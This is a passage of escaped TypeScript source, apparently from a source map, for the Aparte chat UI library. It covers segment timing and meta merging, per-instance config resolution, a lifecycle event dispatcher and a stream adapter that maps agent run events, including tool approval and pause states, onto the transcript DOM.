'pending' && !live))\n && !segment.deferred?.ticket\n ? { status: 'aborted' as const }\n : {}),\n } as AparteSegment;\n}\n\n/**\n * Identity is stamped, never defaulted. A default `id` would hand every segment in a\n * conversation the same one, and `index` / `startedAt` are measurements of THIS\n * insertion — a default for either would be a lie about when and where.\n */\nconst RESERVED = new Set(['id', 'type', 'messageId', 'index']);\n\n/**\n * Read core's own measurements off a segment.\n *\n * A function rather than a property access because it is read from six places, and\n * `segment.meta?.aparte` spelled six times is six chances to spell it differently —\n * which is exactly how this repo's recurring bug starts.\n */\nexport function segmentTiming(\n segment: Pick<AparteSegment, 'meta'>,\n): AparteSegmentTiming | undefined {\n return segment.meta?.aparte;\n}\n\n/**\n * The patch that writes core's measurements WITHOUT losing the producer's own keys.\n *\n * This is the whole risk the move to `meta` creates. `meta` is one bag with two\n * writers: a consumer's `updateSegment(id, { meta: { cost } })` and core's timing. A\n * plain assignment from either side erases the other, so every write goes through\n * here — a spread of the existing bag, and `aparte` merged rather than replaced.\n */\nfunction timingPatch(segment: AparteSegment, timing: AparteSegmentTiming): Pick<AparteSegment, 'meta'> {\n return { meta: { ...segment.meta, aparte: { ...segment.meta?.aparte, ...timing } } };\n}\n\n/**\n * Fill in what the producer did not say.\n *\n * `in`, not `??`: a segment that explicitly carries `collapsed: undefined` has said\n * something, and a default must not talk over it. The same reason the three stamped\n * fields above use `??` on a value the caller may legitimately have computed, while\n * this one asks whether the key exists at all.\n *\n * Defaults are read at INSERTION and baked in. Changing them later does not reach\n * segments already in the transcript — deliberately: a reasoning block the reader\n * opened has state the data does not, and a retroactive default would take it away.\n */\nfunction applyDefaults(segment: AparteSegment, defaults?: AparteSegmentDefaults): AparteSegment {\n if (!defaults) return segment;\n const out = { ...segment } as AparteSegment & Record<string, unknown>;\n for (const [key, value] of Object.entries(defaults)) {\n if (RESERVED.has(key) || key in segment) continue;\n if (key === 'meta') {\n // A default may fill the producer's half of the bag and never core's. The\n // fields it would forge stopped being RESERVED when they moved in here, so\n // the reserved thing is the sub-object: without this, a default could hand\n // an app a span it never measured — the same lie the reload path told.\n const { aparte: _forged, ...rest } = (value ?? {}) as Record<string, unknown>;\n out.meta = rest as AparteSegment['meta'];\n continue;\n }\n out[key] = value;\n }\n return out;\n}\n\n/**\n * Has this segment settled? The trigger for `endedAt`.\n *\n * Exported on purpose: a consumer rendering its own \"thought for 8 s\" line needs\n * the same predicate, and a rule buried inside a component method is a rule that\n * gets re-derived slightly differently somewhere else.\n *\n * A segment with no streaming flag at all is NOT settled. That is deliberate: a\n * reply that arrived whole never had a span to measure, and stamping an `endedAt`\n * equal to its `startedAt` would dress a zero up as a measurement.\n */\nexport function isSegmentSettled(segment: AparteSegment): boolean {\n if (segment.type === 'tool_call') return !OPEN_TOOL_STATUSES.has(segment.status);\n return segment.isStreaming === false;\n}\n\n/**\n * Move `endedAt` to now while the segment is open; freeze it once it settles.\n *\n * `endedAt` is **the moment content last arrived**, and that is the only honest\n * signal available. Two simpler rules are wrong:\n *\n * - *\"ends when the turn ends\"* — a reasoning block would then span the whole\n * answer that followed it. 2s of thinking before a 20s reply would read \"22s\".\n * - *\"ends when the next segment starts\"* — the same error, smaller: if the next\n * segment opens ten seconds later, those ten seconds are counted as thinking,\n * while the person watching the screen knows perfectly well nothing happened.\n *\n * So every update nudges it forward, and the settling update keeps whatever the\n * last delta left rather than stamping its own arrival time. A segment that settles\n * having never received an update gets its end then — nothing else is knowable\n * about it.\n *\n * The consequence, stated because it is a contract: `endedAt` is present WHILE a\n * segment streams, and `endedAt - startedAt` is a live duration that grows. Ask\n * {@link isSegmentSettled} whether it is final. That is also what a UI wants — the\n * counter that ticks while a model reasons is the same number, read earlier.\n */\nexport function stampSegmentOnUpdate(\n segment: AparteSegment,\n updates: Partial<AparteSegment>,\n): Partial<AparteSegment> {\n // Already settled: a later edit — a re-render, a `meta` write, a collapse —\n // must not move an end that is final.\n if (isSegmentSettled(segment)) return updates;\n const merged = { ...segment, ...updates } as AparteSegment;\n if (isSegmentSettled(merged)) {\n // Settling: keep whatever the last delta left, and only stamp now for a\n // segment that never produced anything (a tool call, whose whole span is\n // start-to-status-change).\n const ended = segmentTiming(segment)?.endedAt;\n return { ...updates, ...timingPatch(segment, { endedAt: ended ?? Date.now() }) };\n }\n // Still open: content arriving advances the end, presentation does not.\n return isActivity(updates)\n ? { ...updates, ...timingPatch(segment, { endedAt: Date.now() }) }\n : updates;\n}\n\n/**\n * Merge an update into a segment without one writer erasing the other's `meta`.\n *\n * `{ ...segment, ...updates }` is wrong because `meta` has two writers. A consumer's\n * `updateSegment(id, { meta: { cost } })` is presentation, not activity, so it passes\n * through {@link stampSegmentOnUpdate} untouched — and a plain spread would then\n * replace the whole bag and take `meta.aparte` with it. The measurement would vanish\n * the first time an app wrote a token count, which is precisely when it matters.\n *\n * So the bag is merged one level, and `aparte` inside it merged again. Every site that\n * folds an update into a segment goes through here — the viewport, the host and the\n * bubble.\n */\nexport function mergeSegmentUpdate(\n segment: AparteSegment,\n updates: Partial<AparteSegment>,\n): AparteSegment {\n const merged = { ...segment, ...updates } as AparteSegment;\n if (!('meta' in updates)) return merged;\n return {\n ...merged,\n meta: {\n ...segment.meta,\n ...updates.meta,\n // Neither side's timing wins by accident: whichever one carries it, wins,\n // and a consumer writing `meta` without an `aparte` key keeps ours.\n ...(segment.meta?.aparte || updates.meta?.aparte\n ? { aparte: { ...segment.meta?.aparte, ...updates.meta?.aparte } }\n : {}),\n },\n } as AparteSegment;\n}\n\n/**\n * How long this segment took, or `undefined` when that is not knowable yet.\n *\n * The five identity/measurement fields are optional because they describe a\n * LIFECYCLE: a segment built by hand or freshly emitted by the parser has not been\n * inserted yet, so it has no start, and an open segment has no end.\n *\n * The cost of that optionality lands on the reader, and this removes it. Hand-written,\n * the guard is\n *\n * if (!isSegmentSettled(seg) || !seg.startedAt || !seg.endedAt) return;\n *\n * — three conditions to get right, and the last two are wrong at epoch 0, where a\n * valid timestamp is falsy.\n *\n * It deliberately does NOT ask whether the segment is finished: during a turn a\n * growing duration is exactly what a \"thinking…\" counter shows. Pair it with\n * {@link isSegmentSettled} when you need the final number.\n */\nexport function segmentDuration(segment: AparteSegment): number | undefined {\n const { startedAt, endedAt } = segmentTiming(segment) ?? {};\n if (startedAt == null || endedAt == null) return undefined;\n return endedAt - startedAt;\n}\n\n/**\n * The patch that records \"content just arrived on this segment\".\n *\n * The append paths do not go through {@link stampSegmentOnUpdate} — they rebuild\n * the segment themselves (the viewport must not mutate an object the bubble shares;\n * the host coalesces a frame's chunks into one absolute write). They still have to\n * move `endedAt`, because content arriving IS the activity it measures. So they spread\n * this in, and the rule stays in one file (`pnpm check:segment-stamp` enforces it).\n *\n * Empty once the segment has settled, so a late write cannot move a final end.\n */\nexport function stampSegmentActivity(segment: AparteSegment): Partial<AparteSegment> {\n return isSegmentSettled(segment) ? {} : timingPatch(segment, { endedAt: Date.now() });\n}\n\n/**\n * The update that forwards a parser-emitted segment's content — carrying the fact\n * that it CLOSED, when it did.\n *\n * The parser marks the segments it closes (`</think>`, a closing fence,\n * `</artifact>`, the opening of the next block). Forwarding `{ content }` alone would\n * hand the owner a finished segment that looks exactly like a streaming one, and the\n * end would have to be inferred from the end of the TURN — a reasoning block would\n * read \"Thinking\" for as long as the answer takes to stream.\n *\n * Every site that forwards parser output goes through here, so the rule is spelled\n * once.\n */\nexport function segmentContentUpdate(segment: AparteSegment): Partial<AparteSegment> {\n const content = (segment as { content?: string }).content;\n return {\n content,\n ...(segment.isStreaming === false ? { isStreaming: false } : {}),\n } as Partial<AparteSegment>;\n}\n\n/**\n * Statuses that mean the turn is over, whatever the outcome.\n *\n * `error` and `aborted` count: a stopped stream still produced what it produced,\n * and refusing to close its segments would leave every one of them measuring\n * forever. `undefined` does NOT count — a message with no status yet has not\n * finished, and treating \"unknown\" as \"done\" would end a segment on its first\n * render.\n */\nexport function isTerminalStatus(status: string | null | undefined): boolean {\n return status != null && status !== 'streaming' && status !== 'pending';\n}\n\n/**\n * Ids of the segments a finished turn still has to close.\n *\n * Where `endedAt` comes from for everything that is not a tool call. Nothing in the\n * stream says \"this thinking block is over\": the parser closes its active segment\n * silently, and both agent loops report the end on the MESSAGE\n * (`updateMessage({ status: 'completed' })`). So the message's end is the segments'\n * end, and this says which ones are still waiting for it.\n *\n * It returns ids rather than settling the array itself, and that is the point: a\n * silent mutation notifies nobody, so the model would gain its `endedAt` while the\n * RENDERER never learned the segment had settled. Routing each close through the\n * owner's own `updateSegment` gives one path that stamps the model AND repaints the\n * bubble, which is also the path `update()` and the incremental Markdown flush\n * depend on.\n *\n * Already-closed segments are skipped, so reporting a turn finished twice — a\n * re-render, a branch switch, a reloaded conversation — cannot move an end.\n */\nexport function openSegmentIds(segments: readonly AparteSegment[]): string[] {\n return segments.filter((segment) => !isSegmentSettled(segment)).map((segment) => segment.id);\n}\n\n/**\n * Adopt every segment of a message arriving from storage or a server.\n *\n * The message-level counterpart of {@link adoptSegment}, shared by the FOUR entry paths\n * for historical data (`setMessages`, `importTree`, `addMessage`, and the framework\n * host's own list setter), so the same stored conversation produces the same numbers\n * whatever the mode and whether a branch tree was saved.\n *\n * Always returns a NEW object, even for a message with no segments. That looks like a\n * missed optimisation and is the invariant of this whole file: the viewport hands the\n * same object to the repository AND to the framework's list, so sharing one makes the\n * immediate paint and the coalesced write land on the same string twice, doubling\n * every streamed reply.\n */\nexport function adoptMessageSegments<T extends { id: string; segments?: AparteSegment[]; status?: string }>(message: T): T {\n if (!message.segments?.length) return { ...message };\n // A reply handed over while it streams (a host writing into it) keeps its running\n // calls; a finished one — every saved reply, which the save normalises — does not.\n const live = message.status === 'streaming' || message.status === 'pending';\n return {\n ...message,\n segments: message.segments.reduce<AparteSegment[]>((acc, segment) => {\n acc.push(adoptSegment(acc, segment, message.id, live));\n return acc;\n }, []),\n };\n}\n\n/**\n * Close the gap a removal left, in place.\n *\n * The single place `index` is maintained after the array changes shape. Entries are\n * REPLACED rather than mutated, for the same shared-object reason as\n * {@link stampSegmentOnInsert}; a segment already at its correct position is left\n * alone, so a renumber after an append-only sequence allocates nothing.\n */\nexport function renumberSegments(segments: AparteSegment[]): void {\n for (let i = 0; i < segments.length; i++) {\n const segment = segments[i]!;\n if (segment.index === i) continue;\n segments[i] = { ...segment, index: i } as AparteSegment;\n }\n}\n","/**\n * Per-instance config resolution (Phase 2, step 1 — the seam only).\n *\n * `aparteGlobalConfig` is a page-wide singleton: one config for the whole page. That makes\n * two independent chats on one page impossible (changing the model of one\n * changes the other) and couples every component to global state.\n *\n * This module adds an OPTIONAL instance boundary without touching behaviour:\n * a host element can carry its own {@link AparteConfig} instance, and any\n * component resolves \"its\" config by walking up to the nearest such host —\n * falling back to the global singleton when there is none. Until a caller\n * attaches an instance config, `resolveConfig` always returns the global, so\n * single-chat apps are unaffected.\n *\n * Step 2 migrates the ~23 component read-sites from `aparteGlobalConfig.x()` to\n * `resolveConfig(this).x()`. This step just ships the mechanism + tests.\n */\n\nimport { aparteGlobalConfig, AparteConfig } from './aparte-config.js';\n\n/** Marks an element as an instance-config boundary (used by `closest()`). */\nexport const APARTE_HOST_ATTR = 'data-aparte-host';\n\n/** Non-enumerable slot holding the instance config on a boundary element. */\nconst CONFIG_SLOT = Symbol.for('aparte.instanceConfig');\n\ninterface ConfigHost {\n [CONFIG_SLOT]?: AparteConfig;\n}\n\n/**\n * Implemented by an element that REGISTERS something on its config rather than\n * only reading from it — an elicitation presenter, a renderer, a listener keyed\n * on the config object.\n *\n * Reading is safe without this hook: `resolveConfig(this)` at every use site\n * always sees the current boundary. WRITING is not. A write happens once, into\n * whichever config was resolvable at that moment — and under all four wrappers\n * that moment is *before* the boundary exists, because `AparteChatHost.bind()`\n * runs from a post-mount hook. So the write lands on the global singleton and\n * the instance config never gets it.\n *\n * That is not hypothetical: `<aparte-elicitation>` registered its presenter at\n * connect, so under every wrapper `requestUserInput()` found no presenter on the\n * instance config and answered the model `cancel` — the model was told the user\n * refused while the user was shown nothing at all.\n *\n * Implement this and re-do the registration: move it off `previous`, put it on\n * `next`. Both {@link attachConfig} and {@link detachConfig} call it, so the same\n * method handles teardown, which is where the mirror-image leak lived.\n */\nexport interface AparteConfigAware {\n aparteConfigChanged(next: AparteConfig, previous: AparteConfig): void;\n}\n\n/**\n * Tell everything already inside `root` that its resolution just changed.\n *\n * A depth-first sweep rather than an event: an event dispatched on the boundary\n * does not reach descendants (events bubble up, not down), and one dispatched on\n * every descendant would be the same sweep with more ceremony. `root` itself is\n * included — a boundary element may also be a registrant.\n */\nfunction notifyConfigChanged(root: HTMLElement, next: AparteConfig, previous: AparteConfig): void {\n if (next === previous) return;\n const call = (el: HTMLElement): void => {\n const hook = (el as Partial<AparteConfigAware>).aparteConfigChanged;\n if (typeof hook === 'function') hook.call(el, next, previous);\n };\n call(root);\n for (const el of root.querySelectorAll<HTMLElement>('*')) call(el);\n}\n\n/**\n * Attach an instance config to `el`, making it a resolution boundary: every\n * component inside `el` resolves to `config` instead of the global singleton.\n * Idempotent; pass the same element to replace its config.\n *\n * Anything already mounted inside `el` that implements {@link AparteConfigAware}\n * is told, because attaching a boundary silently rewrites what those children\n * resolve to and a registration they already made is now on the wrong object.\n */\nexport function attachConfig(el: HTMLElement, config: AparteConfig): void {\n const previous = (el as unknown as ConfigHost)[CONFIG_SLOT] ?? resolveConfig(el.parentElement);\n (el as unknown as ConfigHost)[CONFIG_SLOT] = config;\n el.setAttribute(APARTE_HOST_ATTR, '');\n notifyConfigChanged(el, config, previous);\n}\n\n/**\n * Remove the instance-config boundary from `el` (e.g. in `disconnectedCallback`).\n * Components under `el` fall back to the next boundary up, or the global.\n *\n * Registrants are told BEFORE they would silently re-resolve elsewhere, which is\n * the half that leaked: a wrapper's `unbind()` detaches the boundary before the\n * framework removes the DOM, so by the time `disconnectedCallback` ran, the\n * element's own `resolveConfig(this)` already returned the global — its\n * \"am I still the registered one?\" guard compared against the wrong config, found\n * no match, and left the instance config holding a removed element for good.\n */\nexport function detachConfig(el: HTMLElement): void {\n const previous = (el as unknown as ConfigHost)[CONFIG_SLOT];\n delete (el as unknown as ConfigHost)[CONFIG_SLOT];\n el.removeAttribute(APARTE_HOST_ATTR);\n if (previous) notifyConfigChanged(el, resolveConfig(el.parentElement), previous);\n}\n\n/**\n * Resolve the config governing `el`: the nearest ancestor boundary's instance\n * config (including `el` itself), or {@link aparteGlobalConfig} when none is\n * present. Cheap — a single `closest()`.\n *\n * DO NOT cache this at `connectedCallback`. An earlier version of this comment\n * advised exactly that, and two elements followed it into a real bug: a framework\n * wrapper calls `AparteChatHost.bind()` — which is what runs `attachConfig` — from\n * its POST-mount hook (React `useEffect`, Vue `onMounted`, Svelte `onMount`,\n * Angular `ngAfterViewInit`), so children mounted in the same commit connect\n * BEFORE the boundary exists. A connect-time cache therefore freezes the global\n * config forever, and the `config` prop every wrapper advertises silently does\n * nothing for that element.\n *\n * Resolve it live, in a getter. `closest()` on a shallow tree is not a cost worth\n * a correctness bug — `aparte-chat-bubble` has done it that way from the start, and\n * it is the one element that was never affected.\n *\n * That advice covers READERS, and it is not enough on its own. An element that\n * WRITES to its config — registering a presenter, a renderer, a keyed listener —\n * cannot fix the ordering by resolving live, because the write already happened.\n * Those implement {@link AparteConfigAware} and re-register when told. The\n * reader/writer distinction is the one this file missed the first time round: the\n * sweep that applied the advice above fixed every reader and left both writers\n * broken.\n */\nexport function resolveConfig(el: Element | null | undefined): AparteConfig {\n const host = el?.closest?.(`[${APARTE_HOST_ATTR}]`) as (Element & ConfigHost) | null | undefined;\n return host?.[CONFIG_SLOT] ?? aparteGlobalConfig;\n}\n\n// ─── Render context ──────────────────────────────────────────────────────────\n// Segment/tool renderers are plain functions — `render(segment)` receives no\n// element to resolve from. Instead, the component invoking them (e.g. the\n// bubble) wraps the call in `runWithConfig(resolveConfig(this), …)`, and the\n// renderer reads `contextConfig()`. Synchronous only: async continuations must\n// capture the config BEFORE awaiting (`const cfg = contextConfig()` at the top).\n\nlet _renderConfig: AparteConfig | null = null;\n\n/** Run `fn` with `config` as the ambient render config (restored after). */\nexport function runWithConfig<T>(config: AparteConfig, fn: () => T): T {\n const prev = _renderConfig;\n _renderConfig = config;\n try {\n return fn();\n } finally {\n _renderConfig = prev;\n }\n}\n\n/**\n * The ambient render config set by {@link runWithConfig}, else the config\n * resolved from `el` (when provided), else the global singleton. Capture it\n * synchronously at the top of a renderer — never after an `await`.\n */\nexport function contextConfig(el?: Element | null): AparteConfig {\n return _renderConfig ?? resolveConfig(el);\n}\n","/**\n * The DOM lifecycle dispatchers, once.\n *\n * These two functions existed TWICE — as private methods on `AparteClient` and as\n * module-level copies in `stream-adapter.ts` — one per streaming loop. That is not a\n * size problem, it is a correctness problem the repo has already paid for, and the\n * adapter copy's own JSDoc recorded the bill:\n *\n * the `targetId` stamp was missing from the adapter copy, and `aparte-composer`'s\n * `_isForThisComposer` treats an ABSENT `targetId` as \"for me\" — deliberately, so a\n * single-chat page needs no wiring. So on a two-chat page the engine path made\n * stopping chat A reset chat B's composer as well. Core's inline path had always\n * stamped it. The parity suite could not see it, because its recorder element has\n * no `id`: both paths produced `targetId: undefined` and agreed.\n *\n * A duplicate that has already drifted once will drift again, and the suite that\n * exists to catch divergence between the two loops is structurally blind to this\n * one. So there is one copy now, and both loops call it.\n *\n * ## Why the target is declared here\n *\n * `stream-adapter.ts` must import this module, so importing its `StreamAdapterTarget`\n * back would close a real cycle. The structural type below is the intersection both\n * callers satisfy: core's client passes an `HTMLElement`, the adapter passes its\n * duck-typed target, and neither needs anything else.\n */\n\n/** Anything that can receive a DOM event and may carry an id. */\nexport interface AparteLifecycleTarget {\n readonly id?: string;\n dispatchEvent(event: Event): boolean;\n}\n\n/**\n * Dispatch one bubbling, composed lifecycle event, stamped with the target's id so\n * several chats on one page stay isolated — a composer reacts only to its own host's\n * turn, while an id-less single-instance page still broadcasts.\n *\n * The `typeof detail === 'object'` guard comes from the adapter copy and is kept\n * deliberately: it is a superset of the client copy's unconditional spread, so\n * unifying on it cannot change any existing call, and it is the only difference\n * between the two versions that was ever load-bearing.\n *\n * `targetId` is the id of the chat the target BELONGS to, and the caller has to say\n * it, because `target.id` is not it. The target is whatever RENDERS — an\n * `<aparte-chat>` shell delegates to its `.viewport`, which carries no id — so the\n * stamp read empty for every shell-shaped chat, and a missing id means \"for every\n * chat on the page\" on the receive side. `target.id` stays the fallback: it is right\n * whenever the render target IS the chat host, which is the viewport-only shape.\n */\nexport function dispatchLifecycleEvent(\n target: AparteLifecycleTarget,\n name: string,\n detail: unknown,\n targetId?: string,\n): void {\n const id = targetId ?? (target.id || undefined);\n const stamped = detail && typeof detail === 'object'\n ? { targetId: id, ...(detail as Record<string, unknown>) }\n : detail;\n target.dispatchEvent(new CustomEvent(name, { bubbles: true, composed: true, detail: stamped }));\n}\n","/**\n * stream-adapter.ts — the DOM half of the structured-stream agent loop.\n *\n * `@aparte/engine`'s `runStreamAgent` is the headless loop: it emits high-level,\n * DOM-free run events. This adapter is the other half — it turns each event into\n * the `targetElement.*` calls + CustomEvents the transcript needs, using the\n * **real** `AparteStreamParser` and tool renderers. `runStreamAgent` (engine, pure\n * Node) + this adapter (core, DOM) are the one agent loop `AparteClient` runs.\n *\n * DEPENDENCY DIRECTION: `@aparte/core` depends on `@aparte/engine` — first-party, so\n * the zero-third-party-dependency promise is untouched — never the reverse. The\n * run-event contract is engine's: {@link AparteStreamRunEvent} and its siblings below\n * are `StreamRunEvent` & co under core's names, so there is nothing to keep in sync by\n * hand. A consumer wires a runner through `AparteClientOptions.streamRunner` — the same\n * pattern as `approvalResolver` (HITL).\n */\n\nimport { AparteStreamParser } from '../parsers/aparte-stream-parser.js';\nimport { segmentContentUpdate } from '../utils/segments.js';\nimport type { AparteConfig } from '../config/aparte-config.js';\nimport type { AparteSegment, AparteMessage, AparteStreamEvent } from '../types/index.js';\nimport type {\n AparteThinkingSegment,\n AparteToolCallSegment,\n} from '../types/segments.js';\nimport type { AparteUsage } from '../types/chat.js';\nimport type { StreamRunEvent, StreamRunEmitter, StreamRunOptions, StreamUsage } from '@aparte/engine';\nimport { uuid } from '../utils/uuid.js';\nimport { resolveConfig } from '../config/config-context.js';\nimport { dispatchLifecycleEvent } from './lifecycle-events.js';\nimport { injectToolRendererStyles } from '../renderers/segment-renderers.js';\n\n/**\n * The DOM-free run events `@aparte/engine`'s `runStreamAgent` emits — engine's\n * `StreamRunEvent`, under core's name. See `packages/engine/src/agent/stream-events.ts`\n * for the per-event documentation.\n */\nexport type AparteStreamRunEvent = StreamRunEvent;\n\n/** Synchronous, ordered event sink — engine's `StreamRunEmitter`. */\nexport type AparteStreamRunEmitter = StreamRunEmitter;\n\n/**\n * Options for an injected {@link AparteStreamRunner} — engine's `StreamRunOptions`.\n * `AparteClient` builds these from its config / provider / transport and hands them\n * to the runner; core's request, message and tool types are assignable to the\n * structural ones the engine declares, and that assignment is checked where it is\n * made rather than in a guard beside it.\n */\nexport type AparteStreamRunOptions = StreamRunOptions;\n\n/**\n * A headless structured-stream loop injected via `AparteClientOptions.streamRunner`\n * — the seam by which a host wraps or replaces the loop `AparteClient` runs,\n * which is `@aparte/engine`'s `runStreamAgent` by default.\n *\n * `runStreamAgent` IS this type — pass it, do not cast it. The alias makes any drift\n * between the two packages' message types a typecheck error in the composition itself.\n */\nexport type AparteStreamRunner = (opts: AparteStreamRunOptions) => Promise<StreamUsage | undefined>;\n\n/**\n * The imperative surface the adapter drives (subset of `AparteChatTargetElement`).\n * Every method is optional so a partial/mock target degrades gracefully.\n */\nexport interface StreamAdapterTarget {\n updateMessage?(id: string, updates: Partial<AparteMessage>): void;\n updateLastMessage?(content: string, options?: { append?: boolean }): void;\n addSegment?(segment: AparteSegment): void;\n updateSegment?(segmentId: string, updates: Partial<AparteSegment>): void;\n typeName?(text: string): void;\n setUsage?(id: string, usage: AparteUsage): void;\n dispatchEvent(event: Event): boolean;\n}\n\nexport interface CreateStreamAdapterOptions {\n /** The chat target element the events are rendered onto. */\n target: StreamAdapterTarget;\n /** Config for tool-renderer lookup + per-tool style injection. */\n config: AparteConfig;\n /** The streamed assistant message id (carried in the run events). */\n messageId: string;\n /**\n * The id of the CHAT the target belongs to, stamped on every lifecycle event the\n * adapter dispatches. The target is whatever renders — a shell's `.viewport`,\n * which has no id of its own — so it cannot be read off the target, and an\n * unstamped event is read as \"for every chat on the page\". Omitted, the dispatcher\n * falls back to `target.id`, which is right for the viewport-only chat shape.\n */\n targetId?: string;\n}\n\n/**\n * Build the event → DOM adapter for one streamed message. Returns a synchronous\n * {@link AparteStreamRunEmitter} to hand to `runStreamAgent` as its `emitter`.\n * Reproduces the inline loop's `targetElement.*` call sequence exactly (validated\n * by the engine parity test against the real loop).\n */\nexport function createStreamAdapter(opts: CreateStreamAdapterOptions): AparteStreamRunEmitter {\n const { target, config, messageId, targetId } = opts;\n\n // Per-turn streaming state (reset on `turn-start`, mirroring `_streamLoop`\n // creating a fresh parser / maps each outer iteration).\n let parser = new AparteStreamParser({ blocks: config.getStreamBlocks() });\n let streaming = new Set<string>();\n let thinkingId: string | null = null;\n // Each call's segment as `tool-start` built it, and whether it reached the target:\n // a renderer that draws nothing keeps it out, and a suspended call must exist in the\n // message anyway (see `run-suspended`).\n const toolSegments = new Map<string, AparteToolCallSegment>();\n const addedTools = new Set<string>();\n // A call this run never started is one a paused run left — a resume replays no\n // `tool-start`. Settling it ends the pause, so its row drops `deferred`, and the\n // server's ticket with it: a saved conversation keeps no answered call \"paused\".\n const settle = (toolCallId: string, update: Partial<AparteToolCallSegment>): void => {\n const id = `tool-${toolCallId}`;\n target.updateSegment?.(id, (toolSegments.has(id) ? update : { ...update, deferred: undefined }) as Partial<AparteSegment>);\n };\n let thinkingContent = '';\n let thinkingCollapsed = false;\n\n return (e: AparteStreamRunEvent): void => {\n switch (e.type) {\n case 'run-start':\n target.updateMessage?.(messageId, { status: 'streaming' });\n break;\n\n case 'turn-start':\n parser = new AparteStreamParser({ blocks: config.getStreamBlocks() });\n streaming = new Set();\n thinkingId = null;\n thinkingContent = '';\n thinkingCollapsed = false;\n break;\n\n case 'thinking-delta': {\n thinkingContent += e.delta;\n if (!thinkingId) {\n // No `collapsed` of its own: a field the producer sets beats the app's\n // `setSegmentDefaults('thinking', …)`, and `true` here meant a streaming\n // reasoning block could never arrive open. Left unset it renders closed,\n // as before, unless the app asked for it open.\n const seg: AparteThinkingSegment = {\n id: `think-${uuid()}`,\n type: 'thinking',\n content: thinkingContent,\n };\n thinkingId = seg.id;\n streaming.add(seg.id);\n target.addSegment?.(seg);\n } else {\n target.updateSegment?.(thinkingId, { content: thinkingContent });\n }\n break;\n }\n\n case 'text-delta': {\n // Collapse the thinking block when response text starts.\n if (thinkingId && !thinkingCollapsed) {\n // Reasoning arrived on its OWN channel (`reasoning_content`),\n // so it never passes through the parser and has no closing\n // delimiter. Its end in band is exactly this: the provider\n // started sending answer text, so it has stopped sending\n // reasoning. Saying `isStreaming: false` here is what lets a UI\n // show the block's duration WHILE the answer streams, instead of\n // holding \"Thinking\" on screen until the turn ends. `endedAt` is\n // unaffected — it was frozen by the last reasoning delta.\n // Folded unless the app keeps reasoning open (`setSegmentDefaults`) — read\n // from the CHAT's config, the one that opened the block on insert: a client\n // on the global config also answers a chat with its own, and reading the\n // client's here snapped an open block shut at the first answer token.\n const chatConfig = typeof Element !== 'undefined' && target instanceof Element ? resolveConfig(target) : config;\n const keepOpen = chatConfig.getSegmentDefaults('thinking')?.collapsed === false;\n target.updateSegment?.(thinkingId, keepOpen ? { isStreaming: false } : { collapsed: true, isStreaming: false });\n thinkingCollapsed = true;\n }\n const result = parser.parse(e.delta);\n for (const segment of result.segments) {\n if (!streaming.has(segment.id)) {\n target.addSegment?.(segment);\n streaming.add(segment.id);\n } else if ('content' in segment) {\n target.updateSegment?.(segment.id, segmentContentUpdate(segment));\n }\n }\n const active = parser.getState().activeSegment;\n if (active) {\n if (!streaming.has(active.id)) {\n target.addSegment?.(active);\n streaming.add(active.id);\n } else {\n target.updateSegment?.(active.id, segmentContentUpdate(active));\n }\n } else if (result.segments.length === 0) {\n // Nothing: see the note on the other feeder. The parser is holding\n // an ambiguous prefix, and writing it here duplicated it into\n // `message.content`, which history preferred over the segments.\n }\n break;\n }\n\n case 'text-flush': {\n const finals = parser.finalize();\n for (const s of finals) {\n if (!streaming.has(s.id)) target.addSegment?.(s);\n else if ('content' in s) target.updateSegment?.(s.id, segmentContentUpdate(s));\n }\n break;\n }\n\n case 'tool-start': {\n const toolSeg: AparteToolCallSegment = {\n id: `tool-${e.toolCallId}`,\n type: 'tool_call',\n toolCall: { id: e.toolCallId, name: e.name, input: e.input as Record<string, unknown> },\n status: 'pending',\n };\n toolSegments.set(toolSeg.id, toolSeg);\n const renderer = config.getToolRenderer(e.name);\n if (renderer) {\n injectToolRendererStyles(e.name, renderer);\n const html = renderer.render(toolSeg);\n if (html) { target.addSegment?.(toolSeg); addedTools.add(toolSeg.id); }\n } else {\n target.addSegment?.(toolSeg);\n addedTools.add(toolSeg.id);\n }\n break;\n }\n\n case 'tool-awaiting-approval':\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'awaiting-approval' });\n dispatchLifecycleEvent(target, 'aparte-tool-approval-request', { toolCallId: e.toolCallId, toolName: e.name, input: e.input }, targetId);\n break;\n\n case 'tool-approved':\n settle(e.toolCallId, { status: 'pending' });\n break;\n\n case 'tool-rejected':\n settle(e.toolCallId, { status: 'rejected', result: e.reason });\n break;\n\n case 'tool-resolved':\n settle(e.toolCallId, {\n status: 'resolved',\n result: e.result,\n ...(e.structuredResult !== undefined ? { structuredResult: e.structuredResult } : {}),\n });\n break;\n\n case 'tool-aborted':\n settle(e.toolCallId, { status: 'aborted' });\n break;\n\n case 'tool-failed':\n // The handler threw: the row settles on the crash's one line, and the run\n // ends on the same error (the message's error card follows).\n settle(e.toolCallId, { status: 'failed', result: e.error });\n break;\n\n case 'turn-limit-exceeded':\n if (e.scope === 'global') {\n target.addSegment?.({\n id: `max-turns-${uuid()}`,\n type: 'error',\n content: `Stopped after ${e.limit} tool calls to prevent an infinite loop.`,\n details: 'MAX_TURNS_EXCEEDED',\n });\n } else if (e.toolCallId) {\n settle(e.toolCallId, { status: 'aborted' });\n }\n break;\n\n\n case 'run-aborted':\n dispatchLifecycleEvent(target, 'aparte-message-aborted', { messageId }, targetId);\n break;\n\n case 'run-suspended': {\n // A server loop paused: each pending call records why it waits and the\n // server's ticket (the wire adds `ticket` to this event), so the paused\n // call lives in the conversation the app saves and a reload can answer it.\n const ticket = (e as { ticket?: unknown }).ticket;\n for (const p of e.pending) {\n const id = `tool-${p.toolCallId}`;\n const deferred = { reason: p.reason, ...(typeof ticket === 'string' ? { ticket } : {}) };\n // A call this run never started is a resumed one: its row exists, from\n // the run that paused first, and it pauses again with this ticket.\n if (addedTools.has(id) || !toolSegments.has(id)) {\n target.updateSegment?.(id, { deferred } as Partial<AparteSegment>);\n } else {\n // Its renderer drew nothing at `tool-start`, so the call never became a\n // segment; a paused call must exist in the message, or a reload loses it.\n const seg = toolSegments.get(id);\n if (seg) { target.addSegment?.({ ...seg, deferred }); addedTools.add(id); }\n }\n }\n // The RUN is over; the TURN goes on, through the run that resumes it.\n target.updateMessage?.(messageId, { status: 'completed' });\n if (e.usage) {\n try { target.setUsage?.(messageId, e.usage); } catch { /* target may not implement setUsage */ }\n }\n // Said once the paused calls are on the reply, so whoever saves the\n // conversation saves them: a reload answers a pause only if it was kept.\n dispatchLifecycleEvent(target, 'aparte-message-paused', { messageId }, targetId);\n break;\n }\n\n case 'run-done':\n 